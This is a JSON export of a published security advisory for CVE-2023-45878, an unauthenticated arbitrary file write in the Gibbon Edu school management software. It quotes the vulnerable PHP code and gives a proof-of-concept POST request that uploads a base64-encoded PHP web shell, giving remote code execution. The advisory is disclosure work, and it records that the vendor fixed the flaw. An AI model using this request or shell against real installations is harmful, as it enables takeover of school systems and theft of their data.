{"id":21394,"date":"2023-11-10T12:08:39","date_gmt":"2023-11-10T11:08:39","guid":{"rendered":"https:\/\/herolab.usd.de\/security-advisories\/usd-2023-0025\/"},"modified":"2023-11-14T09:53:04","modified_gmt":"2023-11-14T08:53:04","slug":"usd-2023-0025","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2023-0025\/","title":{"rendered":"usd-2023-0025"},"content":{"rendered":"<p>[et_pb_section fb_built=\"1\" _builder_version=\"4.21.0\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.21.0\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.23.1\" _module_preset=\"default\" custom_padding=\"||13px|||\" global_colors_info=\"{}\"]<\/p>\n<h1>usd-2023-0025 | Arbitrary File Write<\/h1>\n<h1><\/h1>\n<p><strong>Advisory ID<\/strong>: usd-2023-0025<br \/><strong>Product<\/strong>: Gibbon (https:\/\/gibbonedu.org\/)<br \/><strong>Affected Version<\/strong>: 25.0.01 (before commit '226d83568cf3d447c4d86d4e5aba2c6e6289045d')<br \/><strong>Vulnerability Type<\/strong>: CWE-434: <span>Arbitrary File Write<\/span><br \/><strong>Security Risk<\/strong>: Critical<br \/><strong>Vendor URL<\/strong>: <a>https:\/\/gibbonedu.org<\/a><br \/><strong>Vendor acknowledged vulnerability<\/strong>: Yes<br \/><strong>Vendor Status<\/strong>: Fixed<br \/><strong>CVE number<\/strong>: CVE-2023-45878<\/p>\n<h3>Desciption<\/h3>\n<p>Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processes<br \/>It offers a range of features to facilitate communication, collaboration, and organization within the educational community.<\/p>\n<p>Unauthenticated attackers can upload arbitrary files to the application and receive code execution on the underlying system.<br \/>To receive RCE an attacker must craft a <em>fake<\/em> image which can be stored as PHP file.<\/p>\n<h3>Proof of Concept<\/h3>\n<p>The <em>Rubrics<\/em> module has a file <strong>rubrics_visualise_saveAjax.php<\/strong> (<a href=\"https:\/\/github.com\/GibbonEdu\/core\/blob\/v25.0.01\/modules\/Rubrics\/rubrics_visualise_saveAjax.php\" target=\"_blank\" rel=\"noopener\">source<\/a> )which can be accessed without being authenticated.<\/p>\n<p>The file accepts the <strong>img<\/strong>, <strong>path<\/strong> and <strong>gibbonPersonID<\/strong> as POST parameters.<\/p>\n<p>From the <a href=\"https:\/\/github.com\/GibbonEdu\/core\/blob\/16638b849220dd24ed1e536b44b76e222ae0f6c0\/modules\/Rubrics\/rubrics_visualise_saveAjax.php#L22\" target=\"_blank\" rel=\"noopener\">source<\/a> line 22:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">[...]<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">$img<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">$_POST['img'] ?? null<\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">;<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">$imgPath<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">$_POST['path'] ?? null<\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">;<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">$gibbonPersonID<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">!empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null<\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">;<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">$absolutePath<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">$gibbon-&gt;session-&gt;get('absolutePath')<\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">;<\/span><\/pre>\n<\/div>\n<p>The <strong>img<\/strong> parameter is expected to be a base64 encoded image as of line 32-34:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"k\" style=\"background: #263238;color: #bb80b3\">[...]<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">\/\/ Decode raw image data<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">list($type, $img)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">explode('<\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">;', $img);<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">list(, $img)<\/span><span class=\"w\" style=\"background: #263238;color: #eff\">      <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">explode(',', $img)<\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">;<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">$img<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">base64_decode($img)<\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">;<\/span><\/pre>\n<\/div>\n<p>If the <strong>path<\/strong> parameter is set, the defined path is used as the destination folder, concatinated with the absolute path of the gibbon installation directory.<\/p>\n<p>The value of the <strong>img<\/strong> parameter is written to the defined file path as of line 49-51:<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"c1\" style=\"background: #263238;color: #546e7a;font-style: italic\">\/\/ Write image data<\/span><br \/><span class=\"no\" style=\"background: #263238;color: #eff\">$<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">fp<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">=<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"n\" style=\"background: #263238;color: #eff\">fopen<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"no\" style=\"background: #263238;color: #eff\">$<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">absolutePath<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">.<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">'\/<\/span><span class=\"s\" style=\"background: #263238;color: #c3e88d\">'.$imgPath, '<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">w<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">'<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">fwrite<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"no\" style=\"background: #263238;color: #eff\">$<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">fp<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">,<\/span><span class=\"w\" style=\"background: #263238;color: #eff\"> <\/span><span class=\"no\" style=\"background: #263238;color: #eff\">$<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">img<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><br \/><span class=\"n\" style=\"background: #263238;color: #eff\">fclose<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">(<\/span><span class=\"no\" style=\"background: #263238;color: #eff\">$<\/span><span class=\"n\" style=\"background: #263238;color: #eff\">fp<\/span><span class=\"p\" style=\"background: #263238;color: #89ddff\">);<\/span><\/pre>\n<\/div>\n<p>The following request will write the payload <strong>&lt;?php echo system($_GET['cmd'])?&gt;<\/strong> to the file <strong>asdf.php<\/strong>.<\/p>\n<div class=\"codehilite\" style=\"background: #263238;color: #eff\">\n<pre style=\"line-height: 125%\"><span style=\"background: #263238\"><\/span><span class=\"nf\" style=\"background: #263238;color: #82aaff\">POST<\/span> <span class=\"nn\" style=\"background: #263238;color: #ffcb6b\">\/modules\/Rubrics\/rubrics_visualise_saveAjax.php<\/span> <span class=\"kr\" style=\"background: #263238;color: #bb80b3\">HTTP<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">\/<\/span><span class=\"m\" style=\"background: #263238;color: #f78c6c\">1.1<\/span><br \/><span class=\"na\" style=\"background: #263238;color: #bb80b3\">Host<\/span><span class=\"o\" style=\"background: #263238;color: #89ddff\">:<\/span> <span class=\"l\" style=\"background: #263238;color: #c3e88d\">localhost:8080<\/span><br \/><span class=\"err\" style=\"background: #263238;color: #ff5370\">[...]<\/span>\n\n\nimg=image\/png;asdf,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&amp;path=asdf.php&amp;gibbonPersonID=0000000001\n<\/pre>\n<\/div>\n<p>The payload must be base64 encoded seperated by <strong>;<\/strong> and <strong>,<\/strong> characters.<\/p>\n<h3>Fix<\/h3>\n<p>Ensure that only valid file types can be uploaded.<\/p>\n<h3>References<\/h3>\n<ul>\n<li><a>https:\/\/github.com\/GibbonEdu\/core\/tree\/16638b849220dd24ed1e536b44b76e222ae0f6c0<\/a><\/li>\n<\/ul>\n<h3>Timeline<\/h3>\n<ul>\n<li><strong>2023-07-11<\/strong>: Vulnerability identified by Christian Poeschl<\/li>\n<li><strong>2023-09-19<\/strong>: Security Release v25.0.01<\/li>\n<li><strong>2023-11-02<\/strong>: Advisory published<\/li>\n<\/ul>\n<h3>Credits<\/h3>\n<p>This security vulnerability was identified by Christian Poeschl of usd AG.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>usd-2023-0025 | Arbitrary File Write Advisory ID: usd-2023-0025Product: Gibbon (https:\/\/gibbonedu.org\/)Affected Version: 25.0.01 (before commit '226d83568cf3d447c4d86d4e5aba2c6e6289045d')Vulnerability Type: CWE-434: Arbitrary File WriteSecurity Risk: CriticalVendor URL: https:\/\/gibbonedu.orgVendor acknowledged vulnerability: YesVendor Status: FixedCVE number: CVE-2023-45878 Desciption Gibbon Edu is an open-source educational software designed for schools and institutions to manage their administrative and academic processesIt offers a range of [&hellip;]<\/p>\n","protected":false},"author":115,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-21394","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21394","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/115"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=21394"}],"version-history":[{"count":5,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21394\/revisions"}],"predecessor-version":[{"id":21401,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/21394\/revisions\/21401"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=21394"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}